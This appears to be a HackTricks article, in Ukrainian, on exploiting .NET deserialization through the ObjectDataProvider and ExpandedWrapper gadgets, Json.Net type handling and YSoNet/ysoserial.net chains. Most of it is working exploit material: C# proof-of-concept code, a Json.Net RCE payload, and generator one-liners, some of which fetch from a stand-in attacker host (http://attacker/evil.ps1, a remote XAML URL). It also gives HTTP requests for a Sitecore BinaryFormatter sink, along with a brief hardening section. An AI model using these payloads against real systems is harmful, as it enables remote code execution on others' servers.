Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 9 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Ця публікація присвячена розумінню того, як gadget ObjectDataProvider експлуатується для отримання RCE і як бібліотеки Serialization Json.Net та xmlSerializer можуть бути зловживані з цим gadget.

ObjectDataProvider Gadget

З документації: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Так, це дивне пояснення, тому подивимось, що в цій класі такого цікавого: цей клас дозволяє обгорнути довільний об'єкт, використовувати MethodParameters щоб задати довільні параметри, а потім використати MethodName щоб викликати довільну функцію довільного об'єкта з заданими параметрами.
Отже, довільний об'єкт буде виконувати функцію з параметрами під час десеріалізації.

How is this possible

Простір імен System.Windows.Data, який знаходиться в PresentationFramework.dll за шляхом C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, — це місце, де визначено та реалізовано ObjectDataProvider.

Використовуючи dnSpy ви можете проінспектувати код класу, який нас цікавить. На зображенні нижче ми бачимо код PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Як ви можете помітити, коли встановлюється MethodName, викликається base.Refresh(), давайте подивимось, що це робить:

Окей, продовжимо і подивимось, що робить this.BeginQuery(). BeginQuery перевизначений в ObjectDataProvider і ось що він робить:

Зверніть увагу, що в кінці коду викликається this.QueryWorke(null). Подивимось, що це виконує:

Зверніть увагу, що це не повний код функції QueryWorker, але показано її цікавий фрагмент: код викликає this.InvokeMethodOnInstance(out ex); — це рядок, де виконується встановлений метод.

Якщо ви хочете перевірити, що просте встановлення MethodName приведе до його виконання, ви можете запустити цей код:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Зауважте, що потрібно додати як reference C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll щоб завантажити System.Windows.Data

ExpandedWrapper

Використовуючи попередній exploit, будуть випадки, коли object буде deserialized as екземпляр ObjectDataProvider (наприклад, у DotNetNuke vuln, використовуючи XmlSerializer, об'єкт був десеріалізований за допомогою GetType). У таких випадках не буде знань про тип об'єкта, що обгорнутий в екземплярі ObjectDataProvider (наприклад Process). Ви можете знайти більше information about the DotNetNuke vuln here.

Цей клас дозволяє вказати типи об'єктів, які інкапсульовані в даному екземплярі. Отже, цей клас може бути використаний для інкапсуляції вихідного об'єкта (ObjectDataProvider) у новий тип об'єкта та надання потрібних нам властивостей (ObjectDataProvider.MethodName та ObjectDataProvider.MethodParameters).
Це дуже корисно для випадків, подібних до описаного вище, оскільки ми зможемо wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.

Ви можете перевірити цей wrapper за допомогою наступного коду:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

На офіційній веб-сторінці вказано, що ця бібліотека дозволяє Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Отже, якщо ми зможемо deserialize the ObjectDataProvider gadget, ми зможемо викликати RCE, просто десеріалізувавши об'єкт.

Приклад Json.Net

По-перше, давайте подивимось приклад того, як serialize/deserialize об'єкт, використовуючи цю бібліотеку:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Зловживання Json.Net

Використовуючи ysoserial.net я створив exploit:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

У цьому коді ви можете test the exploit, просто запустіть його і ви побачите, що calc виконується:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Advanced .NET Gadget Chains (YSoNet & ysoserial.net)

Техніка ObjectDataProvider + ExpandedWrapper, описана вище, — лише один із БАГАТЬОХ gadget chain-ів, якими можна зловживати, якщо додаток виконує unsafe .NET deserialization. Сучасні інструменти для red-team, такі як YSoNet (та старіший ysoserial.net), автоматизують створення готових до використання шкідливих об’єктних графів для десятків гаджетів і форматів серіалізації.

Нижче наведена стисла довідка по найкориснішим ланцюжкам, що постачаються з YSoNet, з коротким поясненням їх роботи та прикладами команд для генерації payload-ів.

Gadget ChainKey Idea / PrimitiveCommon SerializersYSoNet one-liner
TypeConfuseDelegateCorrupts the DelegateSerializationHolder record so that, once materialised, the delegate points to any attacker supplied method (e.g. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorAbuses System.Workflow.ComponentModel.ActivitySurrogateSelector to bypass .NET ≥4.8 type-filtering and directly invoke the constructor of a provided class or compile a C# file on the flyBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourLeverages the legacy XML representation of System.Data.DataSet to instantiate arbitrary types by filling the <ColumnMapping> / <DataType> fields (optionally faking the assembly with --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsOn WPF-enabled runtimes (> .NET 5) chains property getters until reaching System.CodeDom.Compiler.CompilerResults, then compiles or loads a DLL supplied with -cJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)Uses WPF System.Windows.Data.ObjectDataProvider to call an arbitrary static method with controlled arguments. YSoNet adds a convenient --xamlurl variant to host the malicious XAML remotelyBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Embeds ScriptBlock into System.Management.Automation.PSObject that executes when PowerShell deserialises the objectPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

All payloads are written to stdout by default, making it trivial to pipe them into other tooling (e.g. ViewState generators, base64 encoders, HTTP clients).

Building / Installing YSoNet

Якщо попередньо зкомпільовані бінарні файли відсутні в Actions ➜ Artifacts / Releases, наступний однорядковий PowerShell-командлет налаштує середовище збірки, клонуватиме репозиторій і зкомпілює все в режимі Release:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Скомпільований ysonet.exe можна знайти в ysonet/bin/Release/.

Виявлення та посилення захисту

  • Виявляйте несподівані дочірні процеси w3wp.exe, PowerShell.exe, або будь-якого процесу, що десеріалізує дані, надані користувачем (наприклад, MessagePack, Json.NET).
  • Увімкніть та примусово застосуйте фільтрацію типів (TypeFilterLevel = Full, custom SurrogateSelector, SerializationBinder, etc.) коли застарілий BinaryFormatter / NetDataContractSerializer не може бути видалений.
  • За можливості мігруйте на System.Text.Json або DataContractJsonSerializer з конвертерами на основі білого списку.
  • Блокуйте небезпечні WPF збірки (PresentationFramework, System.Workflow.*) від завантаження у веб-процесах, яким вони ніколи не потрібні.

Реальний sink: Sitecore convertToRuntimeHtml → BinaryFormatter

Практичний .NET sink, доступний у автентифікованих потоках Sitecore XP Content Editor:

  • Sink API: Sitecore.Convert.Base64ToObject(string) обгортає виклик new BinaryFormatter().Deserialize(...).
  • Trigger path: pipeline convertToRuntimeHtmlConvertWebControls, який шукає сусідній елемент з id="{iframeId}_inner" і читає атрибут value, що трактують як base64‐encoded серіалізовані дані. Результат приводиться до string і вставляється в HTML.

Мінімальний end‑to‑end (автентифікований):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: будь-який BinaryFormatter chain, що повертає string (side‑effects виконуються під час deserialization). Див. YSoNet/ysoserial.net, щоб згенерувати payloads.

Для повного chain, який починається pre‑auth з HTML cache poisoning у Sitecore та призводить до цього sink:

Sitecore

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks